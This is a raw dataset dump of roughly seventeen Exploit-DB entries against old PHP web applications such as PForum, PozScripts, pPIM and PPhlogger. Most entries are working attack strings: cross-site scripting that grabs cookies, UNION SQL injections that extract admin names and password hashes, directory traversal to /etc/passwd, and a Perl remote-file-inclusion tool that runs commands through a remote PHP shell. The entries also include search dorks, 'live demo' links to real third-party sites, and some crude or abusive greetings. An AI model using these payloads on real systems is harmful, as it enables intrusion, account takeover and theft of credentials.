deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21299
Description: Powie PForum 1.1x - 'Username' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-02-22
Author: Jens Liebchen

Exploit:
source: https://www.securityfocus.com/bid/4165/info

Powie PForum is web forum software, written in PHP and back-ended by MySQL. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.

PForum is prone to cross-site scripting attacks. It is possible for an attacker to construct a malicious link which includes arbitrary script code. In particular, the username URL parameter does not filter variations of HTML tags. A legitimate user who browses the malicious link will have the attacker-supplied script code executed in their browser, in their context of the website running the vulnerable software.

This may enable an attacker to steal cookie-based authentication credentials from the legitimate user. 

http://www.server.com/pforum/edituser.php?boardid=&amp;agree=1
&amp;username=%3Cscript%3Ealert(document.cookie)%3C/script%3E
&amp;nickname=test&amp;email=test@test.com&amp;[CREDENTIAL_REDACTED];pwd2=test&amp;filled=1
Exploit-DB #11934
Description: Powie's PSCRIPT Gästebuch 2.09 - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-29
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name :  Powie's PSCRIPT Gästebuch <= 2.09 SQL Injection Vulnerability
+Autor : Easy Laster
+Date   : 29.03.2010
+Script  : Powie's PSCRIPT Gästebuch <= 2.09
+Download : -----------------
+Price : for free version
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian,novaca!ne.

---------------------------------------------------------------------------------------

 ___ ___ ___ ___                         _ _           _____           _         _
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/gb/kommentar.php?id=

+Exploitable   : http://www.site.com/gb/kommentar.php?id=99999+union+select+1,2,3,4,5
,concat(nickname,0x3a,pwd,0x3a,email),7,8,9,10,11,12,13+from+pfuser+where+id=2

-----------------------------------------------------------------------------------------
Exploit-DB #2798
Description: Powies MatchMaker 4.05 - 'matchdetail.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-17
Author: SHiKaA

Exploit:
#==============================================================================================
#Powie's PHP MatchMaker <= v4.05 (matchdetail) Remote SQL Injection Exploit
#===============================================================================================
#                                                                     
#Critical Level : Dangerous                                           
#                                                                     
#Venedor site : http://www.powie.de    
#                                                                     
#Version : v4.05
#
#===============================================================================================
#
#DORK :  "Powie's PSCRIPT MatchMaker 4.05"                                        
#                                                       
#
#Exploit :
#--------------------------------
#
#http://target.com/(path to script)/matchdetail.php?edit=-1 UNION SELECT 0,0,0,pwd,0,0,0,0,0,username,0,0,0,0 FROM pfuser WHERE id=1
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Thx To : Str0ke & SuperRomio & XoRon & MDx & Simo
# sPECial THanks to : CaMpA , Coder-AZH@CKTEAM
==================================================================================================

# milw0rm.com [2006-11-17]
Exploit-DB #2797
Description: Powies pForum 1.29a - 'editpoll.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-17
Author: SHiKaA

Exploit:
#==============================================================================================
#Powie's PHP Forum <= v1.29a (editpoll) Remote SQL Injection Exploit
#===============================================================================================
#                                                                     
#Critical Level : Dangerous                                           
#                                                                     
#Venedor site : http://www.powie.de    
#                                                                     
#Version : v1.29a
#
#===============================================================================================
#
#DORK : "pForum 1.29a"  // ""Powie's PSCRIPT Forum 1.26"                                        
#                                                       
#
#Exploit :
#--------------------------------
#
#FOR USER : editpoll.php?id=-1 UNION SELECT null,null,username,null FROM pfuser where id=1
#FOR PASS : editpoll.php?id=-1 UNION SELECT null,null,pwd,null FROM pfuser where id=1
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Thx To : Str0ke & SuperRomio & XoRon & MDx & Simo
# sPECial THanks to : CaMpA , Coder-AZH@CKTEAM
==================================================================================================

# milw0rm.com [2006-11-17]
Exploit-DB #11840
Description: PowieSys 0.7.7 alpha - 'index.php' shownews SQL Injection
Type: webapps
Platform: php
Date: 2010-03-22
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : PowieSys <=  0.7.7 alpha index.php (shownews) SQL Injection Vulnerability
+Autor : Easy Laster
+Date   : 22.03.2010
+Script  : PowieSys <= 0.7.7 alpha
+Download : http://www.powie.de/cms/filedb/download.php?id=127
+Price : for free
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/news/index.php?shownews='

The password is a SHA-1

+Exploitable   : http://www.site.com/news/index.php?shownews=999999'+union+select+1,2,3,
4,concat(nickname,0x3a,pwd,0x3a,email),6,7,8,9,10,11,12,13+from+powie_pfuser+where+id=1--+



-----------------------------------------------------------------------------------------
Exploit-DB #4090
Description: Powl 0.94 - 'htmledit.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-22
Author: Kw3[R]Ln

Exploit:
#!/usr/bin/perl
#
# POWL - 0.94 - Remote File Inclusion Exploit
#
# Url: http://switch.dl.sourceforge.net/sourceforge/powl/powl_ontowiki-0.94.zip
#
# Exploit:
# http://site.com/[path]/plugins/widgets/htmledit/htmledit.php?_POWL[installPath]=[Evil_Script>:]
#
# (c)oded and f0und3d by kw3rln <office[at]rosecuritygroup[dot]net>
#
# Romanian Security Team .: hTTp://RSTZONE.NET :.
#
#
# why i publish this lame bugs? just boring all day..drinking beer.. i will publish sqli too but rfi`s are
# more searched than never :P
#
# greetz to all RST [rstzone.net] MEMBERZ

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".  .\n";
print ".        POWL - 0.94 - Remote File Inclusion Exploit .\n";
print ".  .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RSTZONE.NET .\n";
print ".       [c]oded by Kw3rLN - office@rosecuritygroup.net .\n";
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];
chomp($shell);

$path = $path."/plugins/widgets/htmledit/htmledit.php";


sub usage(){
      print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
      print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
      print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
         }

while ()
{
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?_POWL[installPath]=".$shell."?&cmd=".$cmd;
if ($cmd eq "")
 { print "Enter your command !\n"; }
else
 { $data=get($kw3); print $data ; }
}

# milw0rm.com [2007-06-22]
Exploit-DB #7098
Description: PozScripts Business Directory Script - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-11
Author: Hussin X

Exploit:
|___________________________________________________
|
| Business Directory Script ( cid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|
| script :  http://www.pozscripts.com/product_details.php?item_id=6
|
| DorK   :  :) 
|___________________________________________________

Exploit:
________



www.[target].com/Script/showcategory.php?cid=-264+union+select+1,concat(user(),0x3e,version()),3,4,5--



Demo
________

http://www.singwebs.com/businessdirectoryadmindemo/showcategory.php?cid=-264+union+select+1,concat(user

(),0x3e,version()),3,4,5--




____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab | G4N0K
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-11-11]
Exploit-DB #6169
Description: PozScripts Classified Ads Script - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-30
Author: Hussin X

Exploit:
|___________________________________________________|
|
| Classified Ads (cid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|                                                   |
|
| script : http://www.pozscripts.com/product_details.php?category_id=0&item_id=5
|
| DorK   : inurl:browsecats.php?cid=
|___________________________________________________|






Exploit:  

www.[target].com/Script/browsecats.php?cid=-32+union+select+1,concat_ws(0x3a,admin_name,pwd),3,4,5+from+bbxbzauctions_admin--




L!VE DEMO:


http://www.bbx.com/bbxca/browsecats.php?cid=-32+union+select+1,concat_ws(0x3a,admin_name,pwd),3,4,5+from+bbxbzauctions_admin--


________________________
table_name : column_name

bbxbzauctions_admin:admin_name
bbxbzauctions_admin:pwd
freetplbanners_admin:admin_name
freetplbanners_admin:pwd

________________________




____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-07-30]
Exploit-DB #6839
Description: PozScripts Classified Auctions - 'gotourl.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-26
Author: Hussin X

Exploit:
|___________________________________________________
|
| Classified Auctions (gotourl.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|----------------  Hussin X  ------------------
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|
| script :  http://www.pozscripts.com/index.php
|
| DorK   : inurl:gotourl.php?id=
|___________________________________________________

Exploit:
________


www.[target].com/Script/gotourl.php?id=-30+union+select+concat(version(),user())--


Demo:
________

http://www.singwebs.com/auction_demo/gotourl.php?id=-30+union+select+concat(version(),user())--



________________( Greetz )_____________________
 _____   ____   __   __     _       ____  
|_   _| |  _ \  \ \ / /    / \     / ___|
  | |   | |_) |  \ V /    / _ \   | |  _
  | |   |  _ <    | |    / ___ \  | |_| |
  |_|   |_| \_\   |_|   /_/   \_\  \____|
_______________________________________________

# milw0rm.com [2008-10-26]
Exploit-DB #25960
Description: PPA 0.5.6 - 'ppa_root_path' File Inclusion
Type: webapps
Platform: php
Date: 2005-07-10
Author: skdaemon porra

Exploit:
source: https://www.securityfocus.com/bid/14209/info

PPA is susceptible to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/inc/functions.inc.php?config[ppa_root_path]=http://www.example.com
Exploit-DB #12766
Description: PPhlogger 2.2.5 - 'trace.php' Remote Command Execution
Type: webapps
Platform: php
Date: 2010-05-27
Author: Sn!pEr.S!Te Hacker

Exploit:
|| || | || 
 o_,_7 _|| . _o_7 _|| 4_|_|| o_w_,
 ( : / (_) / ( . 
+----------------------------------------------------------------------- 
-+ 
| ....... | 
| ..''xxxxxxxxxxxxxxx'... | 
| ..'xxxxxxxxxxxxxxxxxxxxxxxxxxx.. | 
| ..'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'. | 
| .'xxxxxxxxxxxxxxxxxxxxxxxxxxxx'''.......'. | 
| .'xxxxxxxxxxxxxxxxxxxxx''...... ... .. | 
| .xxxxxxxxxxxxxxxxxx'... ........ .'. | 
| 'xxxxxxxxxxxxxxx'...... '. | 
| 'xxxxxxxxxxxxxx'..'x.. .x. | 
| .xxxxxxxxxxxx'...'.. ... .' | 
| 'xxxxxxxxx'.. . .. .x. | 
| xxxxxxx'. .. x. | 
| xxxx'. .... x x. | 
| 'x'. ...'xxxxxxx'. x .x. | 
| .x'. .'xxxxxxxxxxxxxx. '' .' | 
| .xx. .'xxxxxxxxxxxxxxxx. .'xx'''. .' | 
| .xx.. 'xxxxxxxxxxxxxxxx' .'xxxxxxxxx''. | 
| .'xx'. .'xxxxxxxxxxxxxxx. ..'xxxxxxxxxxxx' | 
| .xxx'. .xxxxxxxxxxxx'. .'xxxxxxxxxxxxxx'. | 
| .xxxx'.'xxxxxxxxx'. xxx'xxxxxxxxxx'. | 
| .'xxxxxxx'.... ...xxxxxxx'. | 
| ..'xxxxx'.. ..xxxxx'.. | 
| ....'xx'.....''''... |
+-----------------------------------------------------------------------
-+

Remote Command Execution Vulnerability
========================================================================
PPhlogger <== 2.2.5  (trace.php)

[+] Author : Sn!pEr.S!Te Hacker # 
# [+] Email : sniper-site@HoTMaiL.coM # 
# [+] T34M Sn!pEr.S!Te Hacker #
# [+] 27-5-2010 # 
# [+] Script :lmage » PPhlogger #
# [+] Download:http://sourceforge.net/projects/pphlogger/files/pphlogger/2.2.5/pphlogger-2.2.5.zip/download #
# Version: [2.2.5] #

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=
Exploit : pphlogger/actions.php

http://localhost/pphlogger/actions.php?host= [your command]

http://127.0.0.1/pphlogger/actions.php?host= [your command]

system("tracert $host");

line: 56

web site Favorites my : http://inj3ct0r.com/ & http://www.hack0wn.com/ & http://www.exploit-db.com


================== Greetz : all my friend =================== 
* PrX Hacker * Sm Hacker * AbUbAdR * mAsH3L ALLiL * saleh Hacker  | 
* HitLer.3rb * QAHER ALRAFDE * DjHacker * Mr.JLD* Mr.koka * Baby Hacker |
Exploit-DB #6215
Description: pPIM 1.0 - Arbitrary File Delete / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-10
Author: BeyazKurt

Exploit:
##########################################################
#Author : BeyazKurt
#Contact : Djm-sut@Hotmail.Com
#
#Script : Ppim v1.0 [Bu ne bicim script adidir amk :D ]
#Download : http://scripts.ringsworld.com/organizers/ppim.zip
#
# D0rk :  inurl:events.php?listallevents
#
# File Delete Vulnerability: upload.php
#
# Example:http://creawebs.com.mx/sistema/upload.php?mode=delfile&file=Creando Wiki.pptx
# Exploit:http://SITE.COM/upload.php?mode=delfile&file=FileName
#
# $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
#
# XSS Vulnerability: events.php
#
#[CODE]
#  <?php
#  if (isset($_GET['date']))
#  {
#    $date_id = $_GET['date'];
#  print "<a href=\"events.php?mode=new&date=$date_id\">New Event</a><br / >";
#  }
#  ?>
#[/CODE]
#
#Exploit :
# events.php?mode=new&date=XSS CODE
# events.php?mode=new&date="><script>alert('XSS')</script>
# -------------------------------
#
#              INDEPENDENT KOSOVA (H) - Etnic ALBANIA (H)
#  pigs for dedication : :  WE Are Don't Forget Kosova, Drenica, Srebrenica And All Genocide !!
#                      Proud 2 Be ALBANIAN
#
# MTK : 0 - 5 : FenerBahÃ§e (H)
#
# Not : Fuck off pala! aq lameri.
# Thnx : All Muslims Albanian & Turkish Coder.. And CrazyShark f0r translate.
#######################################################

# milw0rm.com [2008-08-10]
Exploit-DB #6231
Description: pPIM 1.0 - Upload/Change Password
Type: webapps
Platform: php
Date: 2008-08-11
Author: Stack

Exploit:
Ppim <= 1.0 (upload/change password) Multiple Vulnerabilities
cript : Ppim v1.0
Download : http://scripts.ringsworld.com/organizers/ppim.zip
By Stack
Poc 1: change password
for change password go to this link
http://localhost/ppim/changepassword.php
writhe your password and confirm it

Poc 2 : upload
http://localhost/ppim/upload.php
you can upload you php shell in this link
after you go here
http://localhost/ppim/shell.php

# milw0rm.com [2008-08-11]
Exploit-DB #6667
Description: pPIM 1.01 - 'notes.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-04
Author: JosS

Exploit:
# pPIM 1.01 (notes.php id) Local File Inclusion Vulnerability
# url: http://www.phlatline.org/docs/files/ppim.zip
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.


description of vulnerability:
-----------------------------------------------
the variable 'id' has been not defined in code 
and the variable 'id' is sent by the users.
-----------------------------------------------

vuln file: notes.php

vuln code:
x:  >...
107: if (isset($_GET["mode"]))

	 {

	  	if ($_GET["mode"]=="edit")

		{

		 if (isset($_GET['id']))

		 {

		  	$notefile = $_GET['id'];

			if ($notefile == "new")

			{

			 $title = "";

			 $notes = "";

			}

			else

			{

			 $temp = "notes/" . $notefile;

			 require($temp);

123:			}
x:  <...
x: }}}

exploit: GET /notes.php?mode=edit&id=[file]
sample (xpl): http://www.localhost.com/notes.php?mode=edit&id=../../../../../../../../../../etc/passwd

live demo:
http://www.phlatline.org/docs/demos/ppim/notes.php?mode=edit&id=../notes.php

# milw0rm.com [2008-10-04]
Exploit-DB #6972
Description: pppBlog 0.3.11 - File Disclosure
Type: webapps
Platform: php
Date: 2008-11-03
Author: JosS

Exploit:
# pppBlog <= 0.3.11 (randompic.php) System File Disclosure Vulnerability
# url: http://sourceforge.net/projects/pppblog/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# In memory of rgod ;)

*Requeriments: register_globals = On

vulnerable code in randompic.php at lines 66-72:
...
header("Content-Type: image/gif");
header("Content-Transfer-Encoding: binary");
if (is_array($files)){
    if (is_file($files[$randnum])){
	readfile("$dir/$files[$randnum]");
    }
}
...

poc[0] = randompic.php?files[0]=[file]
poc[1] = randompic.php?files[0]=../../../../../../../../../../etc/passwd

linked: http://milw0rm.com/exploits/1853 (pppBlog 0.3.8, thanks rgod).

tested on localhost with register_globals = On.

Hack0wn :D

# milw0rm.com [2008-11-03]
Exploit-DB #11076
Description: PPVChat - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-09
Author: andresg888

Exploit:
##########################[andresg888]##########################
# Exploit Title : Exotic-Cams --LFI & XSS--
# Date : 2010-01-09
# Author : andresg888
# Vendor : http://www.ppvchat.com/
# Contact : andresg888[4t]gmail[dot]com
# Dork : No DoRk f0R ScRipT KiDDieS
########################################################################
# Example LFI: http://server/registration/model.php
# Example XSS: Go to registration/user.php and in "City" put %00"'>
# Submit the form and see response.
########################################################################
# Malicious users may upload shell's in order to gather control from the site.
# Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable
# application to fool a user in order to gather data from them. An attacker can steal the
# session cookie and take over the account.
########################################################################
#Solution for lfi: Check if the script inputs are properly validated.
#Solution for xss: $_GET = preg_replace("|([^\w\s\'])|i",'',$_GET);
#                            $_POST = preg_replace("|([^\w\s\'])|i",'',$_POST);
########################################################################
# Greetz : _84kur10_ , Brunos_50, mmrg5486, LU73K, Joshu4X, 3l_d105_4r35
# Special Greetz : all members from montevideolibre
##########################[andresg888]#################################